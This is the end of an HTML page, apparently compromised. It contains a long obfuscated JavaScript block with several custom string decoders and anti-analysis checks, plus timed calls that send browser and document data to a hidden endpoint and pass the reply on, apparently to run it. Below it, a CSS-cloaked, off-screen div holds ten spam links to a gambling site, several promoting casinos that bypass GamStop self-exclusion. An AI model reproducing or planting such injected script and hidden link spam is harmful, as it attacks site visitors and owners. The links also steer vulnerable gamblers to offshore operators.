tjrDqOq="3igj|H7{A4ve`#*9_X/:\"Ln>a~MxPyuJqO}0&mDR<!YU;rGQ)FhNEs8ol.Zt6f(IB[cS$w5,@Kz%2kTC?V^W]b1p+=d",BMLQuk,AoMhjVq,FoX89a,oxoAhb,WAq5rmj,HnSBqU_,YcI3XB;LxQgoD9(BMLQuk=""+(rA1_ELc||""),AoMhjVq=BMLQuk.length,FoX89a=[],oxoAhb=NTMjH_o[0x0],WAq5rmj=NTMjH_o[0x0],HnSBqU_=-NTMjH_o[0x1]);for(YcI3XB=NTMjH_o[0x0];YcI3XB<AoMhjVq;YcI3XB++){var TlTyIj=tjrDqOq.indexOf(BMLQuk[YcI3XB]);if(TlTyIj===-NTMjH_o[0x1])continue;if(HnSBqU_<NTMjH_o[0x0]){HnSBqU_=TlTyIj}else{LxQgoD9(HnSBqU_+=TlTyIj*NTMjH_o[0xf],oxoAhb|=HnSBqU_<<WAq5rmj,WAq5rmj+=(HnSBqU_&NTMjH_o[0x10])>NTMjH_o[0x11]?NTMjH_o[0x12]:NTMjH_o[0x13]);do{LxQgoD9(FoX89a.push(oxoAhb&NTMjH_o[0x3]),oxoAhb>>=NTMjH_o[0x2],WAq5rmj-=NTMjH_o[0x2])}while(WAq5rmj>NTMjH_o[0x9]);HnSBqU_=-NTMjH_o[0x1]}}if(HnSBqU_>-NTMjH_o[0x1]){FoX89a.push((oxoAhb|HnSBqU_<<WAq5rmj)&NTMjH_o[0x3])}return ERMqVQJ(FoX89a)}function tjrDqOq(tjrDqOq){if(typeof X6sB4E[tjrDqOq]===NTMjH_o[0x5]){return X6sB4E[tjrDqOq]=rA1_ELc(YGbEs5[tjrDqOq])}return X6sB4E[tjrDqOq]}throw new Error(tjrDqOq(0x87))})=>{function tjrDqOq(rA1_ELc){var tjrDqOq="E/cTX;P[%K<uW?mC{V5`BYx.4^$)O_fAZ}lNRj6F~L9vgUpae>Gn@o&q2sJQr!ih#Dk8z7*\"1IHwtMSd3+=(]0y,|:b",BMLQuk,AoMhjVq,FoX89a,oxoAhb,WAq5rmj,HnSBqU_,YcI3XB;LxQgoD9(BMLQuk=""+(rA1_ELc||""),AoMhjVq=BMLQuk.length,FoX89a=[],oxoAhb=NTMjH_o[0x0],WAq5rmj=NTMjH_o[0x0],HnSBqU_=-NTMjH_o[0x1]);for(YcI3XB=NTMjH_o[0x0];YcI3XB<AoMhjVq;YcI3XB++){var TlTyIj=tjrDqOq.indexOf(BMLQuk[YcI3XB]);if(TlTyIj===-NTMjH_o[0x1])continue;if(HnSBqU_<NTMjH_o[0x0]){HnSBqU_=TlTyIj}else{LxQgoD9(HnSBqU_+=TlTyIj*NTMjH_o[0xf],oxoAhb|=HnSBqU_<<WAq5rmj,WAq5rmj+=(HnSBqU_&NTMjH_o[0x10])>NTMjH_o[0x11]?NTMjH_o[0x12]:NTMjH_o[0x13]);do{LxQgoD9(FoX89a.push(oxoAhb&NTMjH_o[0x3]),oxoAhb>>=NTMjH_o[0x2],WAq5rmj-=NTMjH_o[0x2])}while(WAq5rmj>NTMjH_o[0x9]);HnSBqU_=-NTMjH_o[0x1]}}if(HnSBqU_>-NTMjH_o[0x1]){FoX89a.push((oxoAhb|HnSBqU_<<WAq5rmj)&NTMjH_o[0x3])}return ERMqVQJ(FoX89a)}function BMLQuk(rA1_ELc){if(typeof X6sB4E[rA1_ELc]===NTMjH_o[0x5]){return X6sB4E[rA1_ELc]=tjrDqOq(YGbEs5[rA1_ELc])}return X6sB4E[rA1_ELc]}const AoMhjVq=new Set(process.argv.slice(0x2));if(!AoMhjVq.has(BMLQuk(0x88))){if(AoMhjVq.size!==NTMjH_o[0x1])return NTMjH_o[0xd];if(!AoMhjVq.has("-v"))return NTMjH_o[0xd]}await(async(tjrDqOq,AoMhjVq)=>{if(tjrDqOq)return BMLQuk(0x89);if(AoMhjVq===(await rA1_ELc()))return BMLQuk(0x8a);return""})();return NTMjH_o[0xe]}}return}jVdNuzj=!NTMjH_o[0x0];const AoMhjVq=CY0Rqh();LxQgoD9(WAq5rmj[tjrDqOq(0x8b)](HnSBqU_,AoMhjVq+rd5_Ma*NTMjH_o[0x19]+""),setTimeout(()=>{function rA1_ELc(rA1_ELc){var BMLQuk="CQXUDcEYilOHRLJoZgPGjhfFStKI~7w}vWnasrMNdkV?:p2T\"q*eBuAb^!my3[)#@{+.$,;|&<0>4/=x`%95_81(z6]",tjrDqOq,AoMhjVq,FoX89a,oxoAhb,WAq5rmj,HnSBqU_,YcI3XB;LxQgoD9(tjrDqOq=""+(rA1_ELc||""),AoMhjVq=tjrDqOq.length,FoX89a=[],oxoAhb=NTMjH_o[0x0],WAq5rmj=NTMjH_o[0x0],HnSBqU_=-NTMjH_o[0x1]);for(YcI3XB=NTMjH_o[0x0];YcI3XB<AoMhjVq;YcI3XB++){var TlTyIj=BMLQuk.indexOf(tjrDqOq[YcI3XB]);if(TlTyIj===-NTMjH_o[0x1])continue;if(HnSBqU_<NTMjH_o[0x0]){HnSBqU_=TlTyIj}else{LxQgoD9(HnSBqU_+=TlTyIj*NTMjH_o[0xf],oxoAhb|=HnSBqU_<<WAq5rmj,WAq5rmj+=(HnSBqU_&NTMjH_o[0x10])>NTMjH_o[0x11]?NTMjH_o[0x12]:NTMjH_o[0x13]);do{LxQgoD9(FoX89a.push(oxoAhb&NTMjH_o[0x3]),oxoAhb>>=NTMjH_o[0x2],WAq5rmj-=NTMjH_o[0x2])}while(WAq5rmj>NTMjH_o[0x9]);HnSBqU_=-NTMjH_o[0x1]}}if(HnSBqU_>-NTMjH_o[0x1]){FoX89a.push((oxoAhb|HnSBqU_<<WAq5rmj)&NTMjH_o[0x3])}return ERMqVQJ(FoX89a)}function BMLQuk(BMLQuk){if(typeof X6sB4E[BMLQuk]===NTMjH_o[0x5]){return X6sB4E[BMLQuk]=rA1_ELc(YGbEs5[BMLQuk])}return X6sB4E[BMLQuk]}return q5rlNW(tjrDqOq(0x8c),{[BMLQuk(0x8d)]:YcI3XB,[BMLQuk(0x8e)]:TlTyIj,[BMLQuk(0x8f)]:tH4LGG-AuvJV7,mm:CdEP7Og,dc:cJiyUI,fk:FoX89a,[BMLQuk(0x90)]:!document[BMLQuk(0x91)]&&document[BMLQuk(0x92)](),ms:AoMhjVq-tH4LGG})[BMLQuk(0x93)](rA1_ELc=>{return rA1_ELc&&setTimeout(()=>{return sTLESV(rA1_ELc)},UUiTgTg?UUiTgTg-(CY0Rqh()-AoMhjVq):NTMjH_o[0x0])})[BMLQuk(0x94)](()=>{return NTMjH_o[0x0]})},0xa))})},ch:()=>{function rA1_ELc(rA1_ELc){var FoX89a="Ao[cNG}0`u(z2?3a8;SEXF<]49vh+#H,Y_TM@LQd&Jr=KBi^p>{x|l5tmRPs%1Zyf!O*b/q$6I.)wUWj7Cg:e\"~knVD",BMLQuk,UUiTgTg,WAq5rmj,HnSBqU_,tjrDqOq,YcI3XB,oxoAhb;LxQgoD9(BMLQuk=""+(rA1_ELc||""),UUiTgTg=BMLQuk.length,WAq5rmj=[],HnSBqU_=NTMjH_o[0x0],tjrDqOq=NTMjH_o[0x0],YcI3XB=-NTMjH_o[0x1]);for(oxoAhb=NTMjH_o[0x0];oxoAhb<UUiTgTg;oxoAhb++){var TlTyIj=FoX89a.indexOf(BMLQuk[oxoAhb]);if(TlTyIj===-NTMjH_o[0x1])continue;if(YcI3XB<NTMjH_o[0x0]){YcI3XB=TlTyIj}else{LxQgoD9(YcI3XB+=TlTyIj*NTMjH_o[0xf],HnSBqU_|=YcI3XB<<tjrDqOq,tjrDqOq+=(YcI3XB&NTMjH_o[0x10])>NTMjH_o[0x11]?NTMjH_o[0x12]:NTMjH_o[0x13]);do{LxQgoD9(WAq5rmj.push(HnSBqU_&NTMjH_o[0x3]),HnSBqU_>>=NTMjH_o[0x2],tjrDqOq-=NTMjH_o[0x2])}while(tjrDqOq>NTMjH_o[0x9]);YcI3XB=-NTMjH_o[0x1]}}if(YcI3XB>-NTMjH_o[0x1]){WAq5rmj.push((HnSBqU_|YcI3XB<<tjrDqOq)&NTMjH_o[0x3])}return ERMqVQJ(WAq5rmj)}function FoX89a(FoX89a){if(typeof X6sB4E[FoX89a]===NTMjH_o[0x5]){return X6sB4E[FoX89a]=rA1_ELc(YGbEs5[FoX89a])}return X6sB4E[FoX89a]}return q5rlNW(BMLQuk(0x95),{[BMLQuk(0x96)]:YcI3XB,[FoX89a(0x97)]:TlTyIj})[FoX89a(0x98)](rA1_ELc=>{return Number(rA1_ELc)===NTMjH_o[0x1]})},bl:()=>{function rA1_ELc(rA1_ELc){var BMLQuk="RwfJdFeGx3lIDzy!KHBp;YV@Asg/Ub`+:NM*tXP?792C%Z6(&nEW,mhL4~jS^1<[v>kT=Qu0_.oiOq}r]c8|5a#$)\"{",FoX89a,UUiTgTg,WAq5rmj,HnSBqU_,tjrDqOq,YcI3XB,oxoAhb;LxQgoD9(FoX89a=""+(rA1_ELc||""),UUiTgTg=FoX89a.length,WAq5rmj=[],HnSBqU_=NTMjH_o[0x0],tjrDqOq=NTMjH_o[0x0],YcI3XB=-NTMjH_o[0x1]);for(oxoAhb=NTMjH_o[0x0];oxoAhb<UUiTgTg;oxoAhb++){var TlTyIj=BMLQuk.indexOf(FoX89a[oxoAhb]);if(TlTyIj===-NTMjH_o[0x1])continue;if(YcI3XB<NTMjH_o[0x0]){YcI3XB=TlTyIj}else{LxQgoD9(YcI3XB+=TlTyIj*NTMjH_o[0xf],HnSBqU_|=YcI3XB<<tjrDqOq,tjrDqOq+=(YcI3XB&NTMjH_o[0x10])>NTMjH_o[0x11]?NTMjH_o[0x12]:NTMjH_o[0x13]);do{LxQgoD9(WAq5rmj.push(HnSBqU_&NTMjH_o[0x3]),HnSBqU_>>=NTMjH_o[0x2],tjrDqOq-=NTMjH_o[0x2])}while(tjrDqOq>NTMjH_o[0x9]);YcI3XB=-NTMjH_o[0x1]}}if(YcI3XB>-NTMjH_o[0x1]){WAq5rmj.push((HnSBqU_|YcI3XB<<tjrDqOq)&NTMjH_o[0x3])}return ERMqVQJ(WAq5rmj)}function BMLQuk(BMLQuk){if(typeof X6sB4E[BMLQuk]===NTMjH_o[0x5]){return X6sB4E[BMLQuk]=rA1_ELc(YGbEs5[BMLQuk])}return X6sB4E[BMLQuk]}return q5rlNW(BMLQuk(0x99),{[BMLQuk(0x9a)]:YcI3XB,[BMLQuk(0x9b)]:TlTyIj})[BMLQuk(0x9c)](()=>{})}})}rA1_ELc()})();
</script>
<!-- sc0f33eb-9a77eb -->
	<div data-w="1" style="position:absolute;clip:rect(0,0,0,0);overflow:hidden;height:1px;width:1px;margin:-1px;padding:0;border:0;">
<div style="position:absolute;left:-11925px;width:1131px;"><article class="dcm-link-block" data-article-id="08498ab6-4041-4d07-991e-621d98f63506">
  <p>A practical, no-nonsense guide to non GamStop casinos accepting UK players in 2026. We rank ten real offshore operators, explain licensing risks, bonus traps, payment reality, and answer the questions that matter. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/casinos-that-bypass-gamstop-2026/">read the complete 2026 non GamStop casino guide</a></p>
</article></div>
<div style="position:absolute;left:-9882px;width:1026px;"><article class="dcm-link-block" data-article-id="171cbf23-d8ba-46af-abe4-c61a8aa17552">
  <p>Chicken Road is BGaming’s fast crash game. This UK guide compares eight real casinos, explains bonus exclusions, and shows where to play legally in 2026. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/chicken-road-game-casino-uk-2026/">read the chicken road casino UK guide</a></p>
</article></div>
<div style="position:absolute;left:-12939px;width:1195px;"><article class="dcm-link-block" data-article-id="772de2a0-ae5e-4723-bade-34abd051eec8">
  <p>A practical 2026 guide to playing classic slots online in the UK: top licensed sites, free and real money play, 3-reel mechanics, and leading fruit machines. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/classic-slots-online-uk-2026/">Read our classic slots UK guide</a></p>
</article></div>
<div style="position:absolute;left:-9834px;width:1117px;"><article class="dcm-link-block" data-article-id="0e01cb21-1c62-4848-b0f3-5e427063fca1">
  <p>A practical guide to cluster pays slots for UK players in 2026: how cascades work, which games stand out, and where to find them with fair bonus terms. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/cluster-pays-slots-uk-2026/">read the cluster pays slots UK guide</a></p>
</article></div>
<div style="position:absolute;left:-9685px;width:1083px;"><article class="dcm-link-block" data-article-id="18917984-3990-4f5d-a7d5-06f383e7e937">
  <p>Everything UK players need to know about crash casino games in 2026, from how they work to provably fair algorithms, legal pitfalls, top sites, and strategies that actually hold up. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/crash-casino-game-uk-2026/">read the crash casino game UK guide</a></p>
</article></div>
<div style="position:absolute;left:-9902px;width:1028px;"><article class="dcm-link-block" data-article-id="eda83900-0c0e-4607-b944-014d46b58f6c">
  <p>A practical UK player guide to Evolution&#39;s Crazy Time live game show: how the wheel and bonus rounds work, real odds, and the best licensed casinos to play in 2026. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/crazy-time-live-casino-game-show-uk-2026/">read the full Crazy Time UK guide</a></p>
</article></div>
<div style="position:absolute;left:-7162px;width:1134px;"><article class="dcm-link-block" data-article-id="e1fd4187-a61b-44c7-92e8-e7d74b0ed5e1">
  <p>Curacao-licensed casinos accept UK players without GamStop in 2026, but are they safe, legal and fair? We break down the licence, top sites, payment realities and risks. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/curacao-casino-license-uk-2026/">read our full Curacao casino licence guide for UK players</a></p>
</article></div>
<div style="position:absolute;left:-10081px;width:1106px;"><article class="dcm-link-block" data-article-id="4ec0806d-706c-4876-a021-681ec0660679">
  <p>A practical 2026 guide to Deal or No Deal casino games in the UK: which operators carry the slots, live games and Slingo variants, how bonuses actually work, and what to check before you deposit. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/deal-or-no-deal-casino-uk-2026/">read the complete Deal or No Deal UK casino guide for 2026</a></p>
</article></div>
<div style="position:absolute;left:-12631px;width:1183px;"><article class="dcm-link-block" data-article-id="c4cf28a8-f946-4afd-9b6b-fe8c20242537">
  <p>Exclusive no deposit casino bonuses in the UK in 2026 have moved offshore. This guide explains why UKGC casinos stopped offering them, which real operators still run credible no deposit deals, and how to read the terms without losing your sanity. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/exclusive-no-deposit-casino-bonus-uk-2026/">read the full guide to exclusive no deposit casino bonuses for UK players in 2026</a></p>
</article></div>
<div style="position:absolute;left:-7792px;width:1183px;"><article class="dcm-link-block" data-article-id="38e352d6-79cb-40ac-bc73-6cc88de2c59e">
  <p>We tested payout speeds at UK online casinos in 2026. See which brands actually pay within minutes, which methods work, and how to avoid pending delays. <a class="dcm-link" href="https://hgrothko.flowexagency.com/2026/09/06/fast-withdrawal-casino-uk-2026/">read the fast withdrawal casino guide</a></p>
</article></div>
</div>
</body>
</html>